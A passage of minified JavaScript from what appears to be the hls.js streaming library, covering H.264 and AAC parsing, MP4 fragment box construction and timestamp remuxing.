if(5===f&&0!==r.bytesAvailable){if(p=!0,g>16){var E=[];for(n=0;n<16;n++)E.push(r.readUByte().toString(16)),3!==n&&5!==n&&7!==n&&9!==n||E.push("-");var b=g-16,T=new Uint8Array(b);for(n=0;n<b;n++)T[n]=r.readUByte();s._insertSampleInOrder(s._txtTrack.samples,{pts:e.pts,payloadType:f,uuid:E.join(""),userDataBytes:T,userData:Object(S.utf8ArrayToStr)(T.buffer)})}}else if(g<r.bytesAvailable)for(n=0;n<g;n++)r.readUByte()}break;case 7:if(i=!0,h=!0,!a.sps){var w=(r=new P(t.data)).readSPS();a.width=w.width,a.height=w.height,a.pixelRatio=w.pixelRatio,a.sps=[t.data],a.duration=s._duration;var A=t.data.subarray(1,4),L="avc1.";for(n=0;n<3;n++){var R=A[n].toString(16);R.length<2&&(R="0"+R),L+=R}a.codec=L}break;case 8:i=!0,a.pps||(a.pps=[t.data]);break;case 9:i=!1,a.audFound=!0,l&&d(l,a),l=s.avcSample=u(!1,e.pts,e.dts,"");break;case 12:i=!1;break;default:i=!1,l&&(l.debug+="unknown NAL "+t.type+" ")}l&&i&&l.units.push(t)})),t&&l&&(d(l,a),this.avcSample=null)},t._insertSampleInOrder=function(e,t){var r=e.length;if(r>0){if(t.pts>=e[r-1].pts)e.push(t);else for(var i=r-1;i>=0;i--)if(t.pts<e[i].pts){e.splice(i,0,t);break}}else e.push(t)},t._getLastNalUnit=function(){var e,t=this.avcSample;if(!t||0===t.units.length){var r=this._avcTrack.samples;t=r[r.length-1]}if(t){var i=t.units;e=i[i.length-1]}return e},t._parseAVCNALu=function(e){var t,r,i,n,s=0,a=e.byteLength,o=this._avcTrack,l=o.naluState||0,h=l,d=[],u=-1;for(-1===l&&(u=0,n=31&e[0],l=0,s=1);s<a;)if(t=e[s++],l)if(1!==l)if(t)if(1===t){if(u>=0)i={data:e.subarray(u,s-l-1),type:n},d.push(i);else{var c=this._getLastNalUnit();if(c&&(h&&s<=4-h&&c.state&&(c.data=c.data.subarray(0,c.data.byteLength-h)),(r=s-l-1)>0)){var f=new Uint8Array(c.data.byteLength+r);f.set(c.data,0),f.set(e.subarray(0,r),c.data.byteLength),c.data=f}}s<a?(u=s,n=31&e[s],l=0):l=-1}else l=0;else l=3;else l=t?0:2;else l=t?0:1;if(u>=0&&l>=0&&(i={data:e.subarray(u,a),type:n,state:l},d.push(i)),0===d.length){var g=this._getLastNalUnit();if(g){var p=new Uint8Array(g.data.byteLength+e.byteLength);p.set(g.data,0),p.set(e,g.data.byteLength),g.data=p}}return o.naluState=l,d},t.discardEPB=function(e){for(var t,r,i=e.byteLength,n=[],s=1;s<i-2;)0===e[s]&&0===e[s+1]&&3===e[s+2]?(n.push(s+2),s+=2):s++;if(0===n.length)return e;t=i-n.length,r=new Uint8Array(t);var a=0;for(s=0;s<t;a++,s++)a===n[0]&&(a++,n.shift()),r[s]=e[a];return r},t._parseAACPES=function(e){var t,r,s,a,o,h,d,u=this._audioTrack,c=e.data,f=e.pts,g=this.aacOverFlow,p=this.aacLastPTS;if(g){var v=new Uint8Array(g.byteLength+c.byteLength);v.set(g,0),v.set(c,g.byteLength),c=v}for(s=0,o=c.length;s<o-1&&!m(c,s);s++);if(!s||(s<o-1?(h="AAC PES did not start with ADTS header,offset:"+s,d=!1):(h="no ADTS header found in AAC PES",d=!0),l.logger.warn("parsing error:"+h),this.observer.trigger(i.default.ERROR,{type:n.ErrorTypes.MEDIA_ERROR,details:n.ErrorDetails.FRAG_PARSING_ERROR,fatal:d,reason:h}),!d)){if(_(u,this.observer,c,s,this.audioCodec),r=0,t=y(u.samplerate),g&&p){var S=p+t;Math.abs(S-f)>1&&(l.logger.log("AAC: align PTS for overlapping frames by "+Math.round((S-f)/90)),f=S)}for(;s<o;){if(m(c,s)){if(s+5<o){var b=E(u,c,s,f,r);if(b){s+=b.length,a=b.sample.pts,r++;continue}}break}s++}g=s<o?c.subarray(s,o):null,this.aacOverFlow=g,this.aacLastPTS=a}},t._parseMPEGPES=function(e){for(var t=e.data,r=t.length,i=0,n=0,s=e.pts;n<r;)if(A.isHeader(t,n)){var a=A.appendFrame(this._audioTrack,t,n,s,i);if(!a)break;n+=a.length,i++}else n++},t._parseID3PES=function(e){this._id3Track.samples.push(e)},e}(),D=function(){function e(e,t,r){this.observer=e,this.config=r,this.remuxer=t}var t=e.prototype;return t.resetInitSegment=function(e,t,r,i){this._audioTrack={container:"audio/mpeg",type:"audio",id:-1,sequenceNumber:0,isAAC:!1,samples:[],len:0,manifestCodec:t,duration:i,inputTimeScale:9e4}},t.resetTimeStamp=function(){},e.probe=function(e){var t,r,i=S.default.getID3Data(e,0);if(i&&void 0!==S.default.getTimeStamp(i))for(t=i.length,r=Math.min(e.length-1,t+100);t<r;t++)if(A.probe(e,t))return l.logger.log("MPEG Audio sync word found !"),!0;return!1},t.append=function(e,t,r,i){for(var n=S.default.getID3Data(e,0)||[],s=S.default.getTimeStamp(n),a=void 0!==s?90*s:9e4*t,o=n.length,l=e.length,h=0,d=0,u=this._audioTrack,c=[{pts:a,dts:a,data:n}];o<l;)if(A.isHeader(e,o)){var f=A.appendFrame(u,e,o,a,h);if(!f)break;o+=f.length,d=f.sample.pts,h++}else S.default.isHeader(e,o)?(n=S.default.getID3Data(e,o),c.push({pts:d,dts:d,data:n}),o+=n.length):o++;this.remuxer.remux(u,{samples:[]},{samples:c,inputTimeScale:9e4},{samples:[]},t,r,i)},t.destroy=function(){},e}(),C=function(){function e(){}return e.getSilentFrame=function(e,t){if("mp4a.40.2"===e){if(1===t)return new Uint8Array([0,200,0,128,35,128]);if(2===t)return new Uint8Array([33,0,73,144,2,25,0,35,128]);if(3===t)return new Uint8Array([0,200,0,128,32,132,1,38,64,8,100,0,142]);if(4===t)return new Uint8Array([0,200,0,128,32,132,1,38,64,8,100,0,128,44,128,8,2,56]);if(5===t)return new Uint8Array([0,200,0,128,32,132,1,38,64,8,100,0,130,48,4,153,0,33,144,2,56]);if(6===t)return new Uint8Array([0,200,0,128,32,132,1,38,64,8,100,0,130,48,4,153,0,33,144,2,0,178,0,32,8,224])}else{if(1===t)return new Uint8Array([1,64,34,128,163,78,230,128,186,8,0,0,0,28,6,241,193,10,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,94]);if(2===t)return new Uint8Array([1,64,34,128,163,94,230,128,186,8,0,0,0,0,149,0,6,241,161,10,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,94]);if(3===t)return new Uint8Array([1,64,34,128,163,94,230,128,186,8,0,0,0,0,149,0,6,241,161,10,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,94])}return null},e}(),x=Math.pow(2,32)-1,O=function(){function e(){}return e.init=function(){var t;for(t in e.types={avc1:[],avcC:[],btrt:[],dinf:[],dref:[],esds:[],ftyp:[],hdlr:[],mdat:[],mdhd:[],mdia:[],mfhd:[],minf:[],moof:[],moov:[],mp4a:[],".mp3":[],mvex:[],mvhd:[],pasp:[],sdtp:[],stbl:[],stco:[],stsc:[],stsd:[],stsz:[],stts:[],tfdt:[],tfhd:[],traf:[],trak:[],trun:[],trex:[],tkhd:[],vmhd:[],smhd:[]},e.types)e.types.hasOwnProperty(t)&&(e.types[t]=[t.charCodeAt(0),t.charCodeAt(1),t.charCodeAt(2),t.charCodeAt(3)]);var r=new Uint8Array([0,0,0,0,0,0,0,0,118,105,100,101,0,0,0,0,0,0,0,0,0,0,0,0,86,105,100,101,111,72,97,110,100,108,101,114,0]),i=new Uint8Array([0,0,0,0,0,0,0,0,115,111,117,110,0,0,0,0,0,0,0,0,0,0,0,0,83,111,117,110,100,72,97,110,100,108,101,114,0]);e.HDLR_TYPES={video:r,audio:i};var n=new Uint8Array([0,0,0,0,0,0,0,1,0,0,0,12,117,114,108,32,0,0,0,1]),s=new Uint8Array([0,0,0,0,0,0,0,0]);e.STTS=e.STSC=e.STCO=s,e.STSZ=new Uint8Array([0,0,0,0,0,0,0,0,0,0,0,0]),e.VMHD=new Uint8Array([0,0,0,1,0,0,0,0,0,0,0,0]),e.SMHD=new Uint8Array([0,0,0,0,0,0,0,0]),e.STSD=new Uint8Array([0,0,0,0,0,0,0,1]);var a=new Uint8Array([105,115,111,109]),o=new Uint8Array([97,118,99,49]),l=new Uint8Array([0,0,0,1]);e.FTYP=e.box(e.types.ftyp,a,l,a,o),e.DINF=e.box(e.types.dinf,e.box(e.types.dref,n))},e.box=function(e){for(var t,r=Array.prototype.slice.call(arguments,1),i=8,n=r.length,s=n;n--;)i+=r[n].byteLength;for((t=new Uint8Array(i))[0]=i>>24&255,t[1]=i>>16&255,t[2]=i>>8&255,t[3]=255&i,t.set(e,4),n=0,i=8;n<s;n++)t.set(r[n],i),i+=r[n].byteLength;return t},e.hdlr=function(t){return e.box(e.types.hdlr,e.HDLR_TYPES[t])},e.mdat=function(t){return e.box(e.types.mdat,t)},e.mdhd=function(t,r){r*=t;var i=Math.floor(r/(x+1)),n=Math.floor(r%(x+1));return e.box(e.types.mdhd,new Uint8Array([1,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,3,t>>24&255,t>>16&255,t>>8&255,255&t,i>>24,i>>16&255,i>>8&255,255&i,n>>24,n>>16&255,n>>8&255,255&n,85,196,0,0]))},e.mdia=function(t){return e.box(e.types.mdia,e.mdhd(t.timescale,t.duration),e.hdlr(t.type),e.minf(t))},e.mfhd=function(t){return e.box(e.types.mfhd,new Uint8Array([0,0,0,0,t>>24,t>>16&255,t>>8&255,255&t]))},e.minf=function(t){return"audio"===t.type?e.box(e.types.minf,e.box(e.types.smhd,e.SMHD),e.DINF,e.stbl(t)):e.box(e.types.minf,e.box(e.types.vmhd,e.VMHD),e.DINF,e.stbl(t))},e.moof=function(t,r,i){return e.box(e.types.moof,e.mfhd(t),e.traf(i,r))},e.moov=function(t){for(var r=t.length,i=[];r--;)i[r]=e.trak(t[r]);return e.box.apply(null,[e.types.moov,e.mvhd(t[0].timescale,t[0].duration)].concat(i).concat(e.mvex(t)))},e.mvex=function(t){for(var r=t.length,i=[];r--;)i[r]=e.trex(t[r]);return e.box.apply(null,[e.types.mvex].concat(i))},e.mvhd=function(t,r){r*=t;var i=Math.floor(r/(x+1)),n=Math.floor(r%(x+1)),s=new Uint8Array([1,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,3,t>>24&255,t>>16&255,t>>8&255,255&t,i>>24,i>>16&255,i>>8&255,255&i,n>>24,n>>16&255,n>>8&255,255&n,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,64,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,255,255,255,255]);return e.box(e.types.mvhd,s)},e.sdtp=function(t){var r,i,n=t.samples||[],s=new Uint8Array(4+n.length);for(i=0;i<n.length;i++)r=n[i].flags,s[i+4]=r.dependsOn<<4|r.isDependedOn<<2|r.hasRedundancy;return e.box(e.types.sdtp,s)},e.stbl=function(t){return e.box(e.types.stbl,e.stsd(t),e.box(e.types.stts,e.STTS),e.box(e.types.stsc,e.STSC),e.box(e.types.stsz,e.STSZ),e.box(e.types.stco,e.STCO))},e.avc1=function(t){var r,i,n,s=[],a=[];for(r=0;r<t.sps.length;r++)n=(i=t.sps[r]).byteLength,s.push(n>>>8&255),s.push(255&n),s=s.concat(Array.prototype.slice.call(i));for(r=0;r<t.pps.length;r++)n=(i=t.pps[r]).byteLength,a.push(n>>>8&255),a.push(255&n),a=a.concat(Array.prototype.slice.call(i));var o=e.box(e.types.avcC,new Uint8Array([1,s[3],s[4],s[5],255,224|t.sps.length].concat(s).concat([t.pps.length]).concat(a))),l=t.width,h=t.height,d=t.pixelRatio[0],u=t.pixelRatio[1];return e.box(e.types.avc1,new Uint8Array([0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,l>>8&255,255&l,h>>8&255,255&h,0,72,0,0,0,72,0,0,0,0,0,0,0,1,18,100,97,105,108,121,109,111,116,105,111,110,47,104,108,115,46,106,115,0,0,0,0,0,0,0,0,0,0,0,0,0,0,24,17,17]),o,e.box(e.types.btrt,new Uint8Array([0,28,156,128,0,45,198,192,0,45,198,192])),e.box(e.types.pasp,new Uint8Array([d>>24,d>>16&255,d>>8&255,255&d,u>>24,u>>16&255,u>>8&255,255&u])))},e.esds=function(e){var t=e.config.length;return new Uint8Array([0,0,0,0,3,23+t,0,1,0,4,15+t,64,21,0,0,0,0,0,0,0,0,0,0,0,5].concat([t]).concat(e.config).concat([6,1,2]))},e.mp4a=function(t){var r=t.samplerate;return e.box(e.types.mp4a,new Uint8Array([0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,t.channelCount,0,16,0,0,0,0,r>>8&255,255&r,0,0]),e.box(e.types.esds,e.esds(t)))},e.mp3=function(t){var r=t.samplerate;return e.box(e.types[".mp3"],new Uint8Array([0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,t.channelCount,0,16,0,0,0,0,r>>8&255,255&r,0,0]))},e.stsd=function(t){return"audio"===t.type?t.isAAC||"mp3"!==t.codec?e.box(e.types.stsd,e.STSD,e.mp4a(t)):e.box(e.types.stsd,e.STSD,e.mp3(t)):e.box(e.types.stsd,e.STSD,e.avc1(t))},e.tkhd=function(t){var r=t.id,i=t.duration*t.timescale,n=t.width,s=t.height,a=Math.floor(i/(x+1)),o=Math.floor(i%(x+1));return e.box(e.types.tkhd,new Uint8Array([1,0,0,7,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,3,r>>24&255,r>>16&255,r>>8&255,255&r,0,0,0,0,a>>24,a>>16&255,a>>8&255,255&a,o>>24,o>>16&255,o>>8&255,255&o,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,64,0,0,0,n>>8&255,255&n,0,0,s>>8&255,255&s,0,0]))},e.traf=function(t,r){var i=e.sdtp(t),n=t.id,s=Math.floor(r/(x+1)),a=Math.floor(r%(x+1));return e.box(e.types.traf,e.box(e.types.tfhd,new Uint8Array([0,0,0,0,n>>24,n>>16&255,n>>8&255,255&n])),e.box(e.types.tfdt,new Uint8Array([1,0,0,0,s>>24,s>>16&255,s>>8&255,255&s,a>>24,a>>16&255,a>>8&255,255&a])),e.trun(t,i.length+16+20+8+16+8+8),i)},e.trak=function(t){return t.duration=t.duration||4294967295,e.box(e.types.trak,e.tkhd(t),e.mdia(t))},e.trex=function(t){var r=t.id;return e.box(e.types.trex,new Uint8Array([0,0,0,0,r>>24,r>>16&255,r>>8&255,255&r,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1]))},e.trun=function(t,r){var i,n,s,a,o,l,h=t.samples||[],d=h.length,u=12+16*d,c=new Uint8Array(u);for(r+=8+u,c.set([0,0,15,1,d>>>24&255,d>>>16&255,d>>>8&255,255&d,r>>>24&255,r>>>16&255,r>>>8&255,255&r],0),i=0;i<d;i++)s=(n=h[i]).duration,a=n.size,o=n.flags,l=n.cts,c.set([s>>>24&255,s>>>16&255,s>>>8&255,255&s,a>>>24&255,a>>>16&255,a>>>8&255,255&a,o.isLeading<<2|o.dependsOn,o.isDependedOn<<6|o.hasRedundancy<<4|o.paddingValue<<1|o.isNonSync,61440&o.degradPrio,15&o.degradPrio,l>>>24&255,l>>>16&255,l>>>8&255,255&l],12+16*i);return e.box(e.types.trun,c)},e.initSegment=function(t){e.types||e.init();var r,i=e.moov(t);return(r=new Uint8Array(e.FTYP.byteLength+i.byteLength)).set(e.FTYP),r.set(i,e.FTYP.byteLength),r},e}(),M=O;function k(e,t,r,i){void 0===r&&(r=1),void 0===i&&(i=!1);var n=e*t*r;return i?Math.round(n):n}function N(e,t){return void 0===t&&(t=!1),k(e,1e3,1/9e4,t)}function F(e,t){return void 0===t&&(t=1),k(e,9e4,1/t)}var B=F(10),U=F(.2),G=null;function j(e,t){var r;if(void 0===t)return e;for(r=t<e?-8589934592:8589934592;Math.abs(e-t)>4294967296;)e+=r;return e}var $,H=function(){function e(e,t,r,i){if(this.observer=e,this.config=t,this.typeSupported=r,this.ISGenerated=!1,null===G){var n=navigator.userAgent.match(/Chrome\/(\d+)/i);G=n?parseInt(n[1]):0}}var t=e.prototype;return t.destroy=function(){},t.resetTimeStamp=function(e){this._initPTS=this._initDTS=e},t.resetInitSegment=function(){this.ISGenerated=!1},t.getVideoStartPts=function(e){var t=!1,r=e.reduce((function(e,r){var i=r.pts-e;return i<-4294967296?(t=!0,j(e,r.pts)):i>0?e:r.pts}),e[0].pts);return t&&l.logger.debug("PTS rollover detected"),r},t.remux=function(e,t,r,n,s,a,o){if(this.ISGenerated||this.generateIS(e,t,s),this.ISGenerated){var h=e.samples.length,d=t.samples.length,u=s,c=s;if(h&&d){var f=this.getVideoStartPts(t.samples),g=(j(e.samples[0].pts,f)-f)/t.inputTimeScale;u+=Math.max(0,g),c+=Math.max(0,-g)}if(h){e.timescale||(l.logger.warn("regenerate InitSegment as audio detected"),this.generateIS(e,t,s));var p,m=this.remuxAudio(e,u,a,o);d&&(m&&(p=m.endPTS-m.startPTS),t.timescale||(l.logger.warn("regenerate InitSegment as video detected"),this.generateIS(e,t,s)),this.remuxVideo(t,c,a,p))}else if(d){var v=this.remuxVideo(t,c,a,0,o);v&&e.codec&&this.remuxEmptyAudio(e,u,a,v)}}r.samples.length&&this.remuxID3(r,s),n.samples.length&&this.remuxText(n,s),this.observer.trigger(i.default.FRAG_PARSED)},t.generateIS=function(e,t,r){var s,a,o=this.observer,h=e.samples,d=t.samples,u=this.typeSupported,c="audio/mp4",f={},g={tracks:f},p=void 0===this._initPTS;if(p&&(s=a=1/0),e.config&&h.length&&(e.timescale=e.samplerate,l.logger.log("audio sampling rate : "+e.samplerate),e.isAAC||(u.mpeg?(c="audio/mpeg",e.codec=""):u.mp3&&(e.codec="mp3")),f.audio={container:c,codec:e.codec,initSegment:!e.isAAC&&u.mpeg?new Uint8Array:M.initSegment([e]),metadata:{channelCount:e.channelCount}},p&&(s=a=h[0].pts-Math.round(e.inputTimeScale*r))),t.sps&&t.pps&&d.length){var m=t.inputTimeScale;if(t.timescale=m,f.video={container:"video/mp4",codec:t.codec,initSegment:M.initSegment([t]),metadata:{width:t.width,height:t.height}},p){var v=this.getVideoStartPts(d),_=Math.round(m*r);a=Math.min(a,j(d[0].dts,v)-_),s=Math.min(s,v-_),this.observer.trigger(i.default.INIT_PTS_FOUND,{initPTS:s})}}else p&&f.audio&&this.observer.trigger(i.default.INIT_PTS_FOUND,{initPTS:s});Object.keys(f).length?(o.trigger(i.default.FRAG_PARSING_INIT_SEGMENT,g),this.ISGenerated=!0,p&&(this._initPTS=s,this._initDTS=a)):o.trigger(i.default.ERROR,{type:n.ErrorTypes.MEDIA_ERROR,details:n.ErrorDetails.FRAG_PARSING_ERROR,fatal:!1,reason:"no audio/video samples found"})},t.remuxVideo=function(e,t,r,s){var a,o,h,d,u,c=e.timescale,f=e.samples,g=[],p=f.length,m=this._initPTS,v=8,_=Number.POSITIVE_INFINITY,y=Number.NEGATIVE_INFINITY,E=0,S=!1,b=this.nextAvcDts;if(0!==p){r||(b=t*c-(f[0].pts-j(f[0].dts,f[0].pts)));for(var T=0;T<p;T++){var w=f[T];w.pts=j(w.pts-m,b),w.dts=j(w.dts-m,b),w.dts>w.pts&&(E=Math.max(Math.min(E,w.pts-w.dts),-1*U)),w.dts<f[T>0?T-1:T].dts&&(S=!0)}S&&f.sort((function(e,t){var r=e.dts-t.dts,i=e.pts-t.pts;return r||i||e.id-t.id})),d=f[0].dts,u=f[p-1].dts;var A=Math.round((u-d)/(p-1));if(E<0){if(E<-2*A){l.logger.warn("PTS < DTS detected in video samples, offsetting DTS from PTS by "+N(-A,!0)+" ms");for(var P=E,L=0;L<p;L++)f[L].dts=P=Math.max(P,f[L].pts-A),f[L].pts=Math.max(P,f[L].pts)}else{l.logger.warn("PTS < DTS detected in video samples, shifting DTS by "+N(E,!0)+" ms to overcome this issue");for(var R=0;R<p;R++)f[R].dts=f[R].dts+E}d=f[0].dts,u=f[p-1].dts}if(r){var I=d-b,D=I>A;if(D||I<-1){D?l.logger.warn("AVC: "+N(I,!0)+" ms ("+I+"dts) hole between fragments detected, filling it"):l.logger.warn("AVC: "+N(-I,!0)+" ms ("+I+"dts) overlapping between fragments detected"),d=b;var C=f[0].pts-I;f[0].dts=d,f[0].pts=C,l.logger.log("Video: First PTS/DTS adjusted: "+N(C,!0)+"/"+N(d,!0)+", delta: "+N(I,!0)+" ms")}}G&&G<75&&(d=Math.max(0,d));for(var x=0,O=0,k=0;k<p;k++){for(var F=f[k],B=F.units,$=B.length,H=0,q=0;q<$;q++)H+=B[q].data.length;O+=H,x+=$,F.length=H,F.dts=Math.max(F.dts,d),F.pts=Math.max(F.pts,F.dts,0),_=Math.min(F.pts,_),y=Math.max(F.pts,y)}u=f[p-1].dts;var W=O+4*x+8;try{o=new Uint8Array(W)}catch(e){return void this.observer.trigger(i.default.ERROR,{type:n.ErrorTypes.MUX_ERROR,details:n.ErrorDetails.REMUX_ALLOC_ERROR,fatal:!1,bytes:W,reason:"fail allocating video mdat "+W})}var V=new DataView(o.buffer);V.setUint32(0,W),o.set(M.types.mdat,4);for(var z=0;z<p;z++){for(var K,X=f[z],Y=X.units,J=0,Q=0,Z=Y.length;Q<Z;Q++){var ee=Y[Q],te=ee.data,re=ee.data.byteLength;V.setUint32(v,re),v+=4,o.set(te,v),v+=re,J+=4+re}if(z<p-1)a=f[z+1].dts-X.dts;else{var ie=this.config,ne=X.dts-f[z>0?z-1:z].dts;if(ie.stretchShortVideoTrack){var se=ie.maxBufferHole,ae=Math.floor(se*c),oe=(s?_+s*c:this.nextAudioPts)-X.pts;oe>ae?((a=oe-ne)<0&&(a=ne),l.logger.log("It is approximately "+N(oe,!1)+" ms to the next segment; using duration "+N(a,!1)+" ms for the last video frame.")):a=ne}else a=ne}K=Math.round(X.pts-X.dts),g.push({size:J,duration:a,cts:K,flags:{isLeading:0,isDependedOn:0,hasRedundancy:0,degradPrio:0,dependsOn:X.key?2:1,isNonSync:X.key?0:1}})}this.nextAvcDts=u+a;var le=e.dropped;if(e.nbNalu=0,e.dropped=0,g.length&&navigator.userAgent.toLowerCase().indexOf("chrome")>-1){var he=g[0].flags;he.dependsOn=2,he.isNonSync=0}e.samples=g,h=M.moof(e.sequenceNumber++,d,e),e.samples=[];var de={data1:h,data2:o,startPTS:_/c,endPTS:(y+a)/c,startDTS:d/c,endDTS:this.nextAvcDts/c,type:"video",hasAudio:!1,hasVideo:!0,nb:g.length,dropped:le};return this.observer.trigger(i.default.FRAG_PARSING_DATA,de),de}},t.remuxAudio=function(e,t,r,s){var a,o,h,d,u,c,f=e.inputTimeScale,g=e.timescale,p=f/g,m=(e.isAAC?1024:1152)*p,v=this._initPTS,_=!e.isAAC&&this.typeSupported.mpeg,y=_?0:8,E=e.samples,S=[],b=this.nextAudioPts;if(r|=E.length&&b&&(s&&Math.abs(t-b/f)<.1||Math.abs(E[0].pts-b-v)<20*m),E.forEach((function(e){e.pts=e.dts=j(e.pts-v,t*f)})),E=E.filter((function(e){return e.pts>=0})),0!==E.length){if(r||(b=s?Math.max(0,t*f):E[0].pts),e.isAAC)for(var T=this.config.maxAudioFramesDrift,w=0,A=b;w<E.length;){var P=E[w],L=P.pts,R=L-A;if(R<=-T*m)r||w>0?(l.logger.warn("Dropping 1 audio frame @ "+N(A,!0)/1e3+"s due to "+N(R,!0)+" ms overlap."),E.splice(w,1)):(l.logger.warn("Audio frame @ "+N(L,!0)/1e3+"s overlaps nextAudioPts by "+N(R,!0)+" ms."),A=L+m,w++);else if(R>=T*m&&R<B&&A){var I=Math.round(R/m);l.logger.warn("Injecting "+I+" audio frames @ "+N(A,!0)/1e3+"s due to "+N(R,!0)+" ms gap.");for(var D=0;D<I;D++){var x=Math.max(A,0);(o=C.getSilentFrame(e.manifestCodec||e.codec,e.channelCount))||(l.logger.log("Unable to get silent frame for given audio codec; duplicating last frame instead."),o=P.unit.subarray()),E.splice(w,0,{unit:o,pts:x,dts:x}),A+=m,w++}P.pts=P.dts=A,A+=m,w++}else Math.abs(R),P.pts=P.dts=A,A+=m,w++}for(var O=E.length,k=0;O--;)k+=E[O].unit.byteLength;for(var F=0,U=E.length;F<U;F++){var G=E[F],$=G.unit,H=G.pts;if(void 0!==c&&a)a.duration=Math.round((H-c)/p);else{var q=H-b,W=0;if(r&&e.isAAC&&q){if(q>0&&q<B)W=Math.round((H-b)/m),l.logger.log(N(q,!0)+" ms hole between AAC samples detected,filling it"),W>0&&((o=C.getSilentFrame(e.manifestCodec||e.codec,e.channelCount))||(o=$.subarray()),k+=W*o.length);else if(q<-12){l.logger.log("drop overlapping AAC sample, expected/parsed/delta: "+N(b,!0)+" ms / "+N(H,!0)+" ms / "+N(-q,!0)+" ms"),k-=$.byteLength;continue}H=b}if(u=H,!(k>0))return;k+=y;try{h=new Uint8Array(k)}catch(e){return void this.observer.trigger(i.default.ERROR,{type:n.ErrorTypes.MUX_ERROR,details:n.ErrorDetails.REMUX_ALLOC_ERROR,fatal:!1,bytes:k,reason:"fail allocating audio mdat "+k})}_||(new DataView(h.buffer).setUint32(0,k),h.set(M.types.mdat,4));for(var V=0;V<W;V++)(o=C.getSilentFrame(e.manifestCodec||e.codec,e.channelCount))||(l.logger.log("Unable to get silent frame for given audio codec; duplicating this frame instead."),o=$.subarray()),h.set(o,y),y+=o.byteLength,a={size:o.byteLength,cts:0,duration:1024,flags:{isLeading:0,isDependedOn:0,hasRedundancy:0,degradPrio:0,dependsOn:1}},S.push(a)}h.set($,y);var z=$.byteLength;y+=z,a={size:z,cts:0,duration:0,flags:{isLeading:0,isDependedOn:0,hasRedundancy:0,degradPrio:0,dependsOn:1}},S.push(a),c=H}var K=0;if((O=S.length)>=2&&(K=S[O-2].duration,a.duration=K),O){this.nextAudioPts=b=c+p*K,e.samples=S,d=_?new Uint8Array:M.moof(e.sequenceNumber++,u/p,e),e.samples=[];var X=u/f,Y=b/f,J={data1:d,data2:h,startPTS:X,endPTS:Y,startDTS:X,endDTS:Y,type:"audio",hasAudio:!0,hasVideo:!1,nb:O};return this.observer.trigger(i.default.FRAG_PARSING_DATA,J),J}return null}},t.remuxEmptyAudio=function(e,t,r,i){var n=e.inputTimeScale,s=n/(e.samplerate?e.samplerate:n),a=this.nextAudioPts,o=(void 0!==a?a:i.startDTS*n)+this._initDTS,h=i.endDTS*n+this._initDTS,d=1024*s,u=Math.ceil((h-o)/d),c=C.getSilentFrame(e.manifestCodec||e.codec,e.channelCount);if(l.logger.warn("remux empty Audio"),c){for(var f=[],g=0;g<u;g++){var p=o+g*d;f.push({unit:c,pts:p,dts:p})}e.samples=f,this.remuxAudio(e,t,r)}else l.logger.trace("Unable to remuxEmptyAudio since we were unable to get a silent frame for given audio codec!")},t.remuxID3=function(e,t){var r=e.samples.length;if(r){for(var n=e.inputTimeScale,s=this._initPTS,a=this._initDTS,o=0;o<r;o++){var l=e.samples[o];l.pts=j(l.pts-s,t*n)/n,l.dts=j(l.dts-a,t*n)/n}this.observer.trigger(i.default.FRAG_PARSING_METADATA,{samples:e.samples}),e.samples=[]}},t.remuxText=function(e,t){var r=e.samples.length,n=e.inputTimeScale,s=this._initPTS;if(r){for(var a=0;a<r;a++){var o=e.samples[a];o.pts=j(o.pts-s,t*n)/n}e.samples.sort((function(e,t){return e.pts-t.pts})),this.observer.trigger(i.default.FRAG_PARSING_USERDATA,{samples:e.samples})}e.samples=[]},e}(),q=function(){function e(e){this.observer=e}var t=e.prototype;return t.destroy=function(){},t.resetTimeStamp=function(){},t.resetInitSegment=function(){},t.remux=function(e,t,r,n,s,a,o,l){var h=this.observer,d="";e&&(d+="audio"),t&&(d+="video"),h.trigger(i.default.FRAG_PARSING_DATA,{data1:l,startPTS:s,startDTS:s,type:d,hasAudio:!!e,hasVideo:!!t,nb:1,dropped:0}),h.trigger(i.default.FRAG_PARSED)},e}(),W=Object(h.getSelfScope)();try{$=W.performance.now.bind(W.performance)}catch(e){l.logger.debug("Unable to use Performance API on this environment"),$=W.Date.now}var V=function(){function e(e,t,r,i){this.observer=e,this.typeSupported=t,this.config=r,this.vendor=i}var t=e.prototype;return t.destroy=function(){var e=this.demuxer;e&&e.destroy()},t.push=function(e,t,r,n,s,a,o,l,h,d,c,f){var g=this;if(e.byteLength>0&&null!=t&&null!=t.key&&"AES-128"===t.method){var p=this.decrypter;null==p&&(p=this.decrypter=new u(this.observer,this.config));var m=$();p.decrypt(e,t.key.buffer,t.iv.buffer,(function(e){var u=$();g.observer.trigger(i.default.FRAG_DECRYPTED,{stats:{tstart:m,tdecrypt:u}}),g.pushDecrypted(new Uint8Array(e),t,new Uint8Array(r),n,s,a,o,l,h,d,c,f)}))}else this.pushDecrypted(new Uint8Array(e),t,new Uint8Array(r),n,s,a,o,l,h,d,c,f)},t.pushDecrypted=function(e,t,r,s,a,o,l,h,d,u,c,f){var g=this.demuxer,p=this.remuxer;if(!g||l||h){for(var 